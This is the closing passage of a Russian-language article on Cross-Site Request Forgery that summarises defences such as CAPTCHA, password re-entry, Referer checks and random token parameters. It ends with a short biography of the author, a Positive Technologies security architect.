В качестве метода противодействия CSRF могут использоваться различные варианты тестов Тьюринга, например, хорошо известные всем изображения - CAPTCHA. Другим популярным вариантом является необходимость ввода пользовательского пароля при изменении критичных настроек.

Рис. 7. Защита от CSRF в mail.ru

Таким образом, Cross-Site Request Forgery являются атакой, направленной на клиента Web-приложения и использующей недостаточную проверку источника HTTP-запроса. Для защиты от подобных атак может использоваться дополнительный контроль источника запроса на основе заголовка Referer или дополнительного «случайного» параметра.

Сергей Гордейчик работает системным архитектором компании Positive Technologies, где он специализируется в вопросах безопасности приложений, безопасности беспроводных и мобильных технологий. Автор также является ведущим разработчиком курсов «Безопасность беспроводных сетей», «Анализ и оценка защищенности Web-приложений» учебного центра «Информзащита» . Опубликовал несколько десятков статей в “Windows IT Pro/RE”, SecurityLab и других изданиях. Является участником проектов Web Application Security Consortium (WASC).